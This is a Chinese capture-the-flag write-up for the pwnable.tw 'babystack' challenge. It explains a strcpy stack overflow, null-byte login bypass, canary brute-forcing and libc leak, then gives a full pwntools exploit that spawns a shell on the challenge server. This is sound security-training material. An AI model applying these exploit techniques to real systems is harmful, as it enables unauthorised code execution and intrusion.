pwnabletw-babystack

2023-05-16

BabyStack

思路

  • 危险函数,strcpy。
  • 在copy的时候strcpy看似没有问题,但是由于src的内容并没有清空,还保存着被销毁栈的原有数据,而strcpy是根据"\x00"来判定的,所以造成了栈溢出。
  • login的限制可以用"\x00"绕过。
  • 首先通过login函数中的strcmp,把canary值爆破出来。
  • 然后利用copy函数栈上的垃圾数据中保存的一些libc的相关地址,将其拷贝到canary的地址,然后继续爆破,就可以得到libc的基址。
  • 给了libc,一发one_gadget。

exp

这里卡了很久的一个地方是python3的p64返回的是bytes类型,而且bytes(s,encoding=“utf8”)和ascii都不对,手动改。
remote跑一次需要20多分钟。

from pwn import * 
from time import sleep
import os
import sys

elfPath = './babystack'
libcPath = '../libc_64.so.6'
remoteAddr = 'chall.pwnable.tw'
remotePort = '10205'

context.log_level = 'debug'
context.binary = elfPath
context.terminal = ['tmux', 'splitw', '-h']

elf = context.binary
if sys.argv[1] == 'l':
    sh = process(elfPath)
    libc = elf.libc
else:
    if sys.argv[1] == 'd':
       sh = process(elfPath, env = {'LD_PRELOAD': libcPath})
    else:
       sh = remote(remoteAddr,remotePort)
       context.log_level = 'info'
    if libcPath:
       libc = ELF(libcPath)

def blast(sz,al = ""):
    rcd = al
    move = 0
    for round in range(0,sz):
        tag = False
        for i in range(0,0x100):
            if i == 0:
                continue
            test = rcd + chr(i)
            sh.sendlineafter(">>","1")
            sh.sendafter(":", test + "\n")
            ret = sh.recv(1)
            if ret == b'L':
                tag = True
                rcd = test
                sh.sendlineafter(">>","1")
                break   
        if tag is False:
            rcd += chr(0)

    return rcd

if __name__ == '__main__':
    canary = blast(0x10)
    c = b""
    for i in canary:
        print(ord(i))
        c += bytes([ord(i)])
    print(str(c))
    sh.sendlineafter(">>", '1')
    sh.sendafter(":", "\x00" + "a" * 0x47)
    sh.sendlineafter(">>", "3")
    sh.sendafter(":","A") # put IO_file_.addr at random_array's addr
    # leak libc addr
    sh.sendlineafter(">>","1")
    IO_file_9 = u64(blast(6,"a" * 0x8)[8:15] + "\x00\x00")
    IO_file_addr = IO_file_9 - 9
    libc_base = IO_file_addr - libc.symbols["_IO_file_setbuf"]
    success("libc_base:" + hex(libc_base))
    one_gadget = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
    shell_addr = libc_base + one_gadget[0]
    
    sh.sendlineafter(">>", '1')
    payload =  b"\x00" + b"A"*0x3f + c + b"A" * 0x18 + p64(shell_addr)
    sh.sendlineafter(":",payload)
    sh.sendlineafter(">>","3")
    sh.sendafter(":","A")
    sh.sendlineafter(">>","2")

    # sh.sendline("cat /home/babystack/flag")
    sh.interactive()
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

pwnabletw-babystack 的相关文章

随机推荐

  • 计算机应用研究、计算机工程与应用、计算机科学与探索投稿经验

    一 计算机应用研究 xff08 北大核心 xff0c CCF c CCFT3类刊 xff09 总体审稿周期一个多月 xff0c 投过两次算法研究类文章 xff0c 从投稿到正刊录用不超过40天 感觉要求不是很高 xff0c 只有一个外审专家
  • Linux修改系统时间

    一 查看和修改Linux的时区 查看当前时区 命令 xff1a date R 修改设置Linux服务器时区 命令 xff1a tzselect 我这里是使用的CentOS复制相应的时区文件 xff0c 替换系统时区文件 xff1b 或者创建
  • ESP32超详细学习记录:获取B站粉丝数

    获取粉丝数需要知道API调用接口 怎么获得调用的API接口呢 xff1f 以罗翔老师的bilibili账号为例子 本人用的Firefox浏览器 xff0c 其他浏览器操作与Firefox类似 xff0c 在此只是提供获取API的途径 xff
  • ESP32超详细学习记录:NTP同步时间

    本来想从开源项目找找灵感的 xff0c 但是 xff01 那些代码真烂 xff01 xff01 xff01 xff01 xff01 开源项目免不了的就是抄抄抄代码 xff0c 想知道 NTP 是怎么实现的还要读那一堆烂代码 xff0c 烦
  • VS 2015运行报错

    VS 2015运行报错 xff1a L N K 1104 无法打开文件 kernel 32 lib xff0c L N K 1158 xff1a 无法运行 34 r c e x e xff0c L N K 156 必须定义入口点 34 的问
  • fatal: remote error: access denied or repository not exported: /x264

    root 64 ubuntu opt git clone git git videolan org x264 正克隆到 39 x264 39 fatal remote error access denied or repository no
  • 64位ubuntu虚拟机编译后可运行,32位的arm不能运行的原因

    这两天遇到一个怪事 xff0c 就是在64位虚拟机上使用asn1c工具编译生成的asn源文件 xff0c 交叉编译生成静态库 xff0c 在虚拟机上跑的好好的 xff0c 但是在arm上跑的时候无法解码 xff0c 最后查明原因是asn1c
  • 如何使用交叉编译将大量源文件生成动态库

    今天要把算法包生成一个动态库放在ARM上调用运行 xff0c 特此记录一下给大家参考 1 首先将算法文件夹中的源程序生成 o文件 arm span class token operator span linux span class tok
  • 结构体赋值运行时出现段错误(核心已转储)

    今天给嵌套结构体赋值的时候编译没问题 xff0c 但是运行总是段错误 xff0c 后来发现是忘了分配动态内存 xff0c 记得用calloc分配 xff0c 实际结构体嵌套比较复杂 xff0c 在这里举个简单的例子给大家看看 xff0c 引
  • 如何将一段字符串在word中,自动删除换行,两两之间增加空格键

    我们在拉取十六进制数据分析时 xff0c 经常遇到对方只给一条长长的字符串 xff0c 当然 xff0c 我们可以通过代码的方式进行空格添加 xff0c 方便阅读 xff0c 但是有时候身边没有编译工具或者流程复杂 xff0c 介绍一个用w
  • Python学习第5天——洛谷刷题(顺序结构)、循环

    Python学习第5天 1 洛谷刷题1 1 顺序结构1 2 高精度 2 循环2 1 while循环2 2 for循环2 3 range xff08 xff09 函数2 4 用for循环绘图练习2 4 1 绘制同心圆2 4 2 绘制棋盘格 1
  • 如何定义字符串

    如何定义字符串 一维和二维的都可以 xff1b 一维的情况如下 xff1a 1 xff0c char string0 10 2 xff0c char string1 61 34 prison break 34 3 xff0c char st
  • static全局变量与普通的全局变量的区别?

    1 static全局变量与普通的全局变量有什么区别 xff1f static局部变量和普通局部变量有什么区别 xff1f static函数与普通函数有什么区别 xff1f 答 xff1a 全局变量 外部变量 的说明之前再冠以static 就
  • 动态存储方式和静态存储方式

    从变量的作用域的角度来观察 xff0c 变量可以分为全局变量 和局部变量 xff1b 全局变量都是存放在静态存储区中的 因此它们的生存期是固定的 xff0c 存在于程序的整个运行过程 局部变量 xff0c 如果不专门声明存储类别 xff0c
  • c语言中的return 0有什么用?

    return 0是正常退出 xff0c return 非零是异常退出 xff0c 这是返回给控制台的 xff0c 不在编的程序的控制范围内 xff0c 是给操作系统识别的 xff0c 对你的程序无影响 如果是C中 xff0c 定义void
  • JAVA代码实现字符串匹配(一)——BF、KMP

    话不多说 xff0c 直接进入主题 xff1a 题目描述 xff1a 给定两个字符串text和pattern xff0c 请你在text字符串中找出pattern字符串出现的第一个位置 xff08 下标从0开始 xff09 xff0c 如果
  • pwntools, terminal =‘tmux‘ 报错

    pwntools terminal 61 tmux 报错 Traceback most recent call last File exp py line 4 in gdb attach File home pwn pwn lib pyth
  • 更改手动导入的wsl的默认登录用户

    导入了一个wsl后 xff0c 每次登录都是root用户 xff0c 这个就有点不太好 网上的教程都是说在ps里用分发版的对应exe文件来设置默认用户 xff0c 但是导入的这个wsl我没找到这个exe 找了半天然后看了微软官方的教程 xf
  • v8安装fetch不上

    大佬方案 xff1a 白嫖github action 感谢大佬
  • pwnabletw-babystack

    BabyStack 思路 危险函数 xff0c strcpy 在copy的时候strcpy看似没有问题 xff0c 但是由于src的内容并没有清空 xff0c 还保存着被销毁栈的原有数据 xff0c 而strcpy是根据 34 x00 34